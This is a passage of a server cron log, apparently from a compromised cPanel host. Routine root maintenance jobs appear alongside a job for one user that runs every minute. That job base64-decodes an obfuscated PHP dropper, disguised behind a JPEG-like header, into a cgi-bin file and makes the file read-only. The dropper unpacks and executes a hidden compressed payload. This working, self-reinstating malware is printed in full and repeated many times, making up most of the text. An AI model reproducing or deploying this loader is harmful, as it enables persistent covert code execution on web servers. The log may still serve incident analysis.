0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:08:01 server CROND[2570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:09:01 server CROND[2732]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 23:09:01 server CROND[2733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:10:01 server CROND[2791]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 23:10:01 server CROND[2792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:10:01 server CROND[2793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:10:01 server CROND[2794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:11:01 server CROND[2898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:12:01 server CROND[3033]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 23:12:01 server CROND[3034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:13:01 server CROND[3097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:14:01 server CROND[3243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:15:01 server CROND[3288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:15:01 server CROND[3290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:15:01 server CROND[3291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:16:01 server CROND[3391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:17:01 server CROND[3546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:18:01 server CROND[3609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:19:01 server CROND[3764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:20:01 server CROND[3828]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 23:20:01 server CROND[3829]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:20:01 server CROND[3830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:20:01 server CROND[3833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 23:20:01 server CROND[3835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
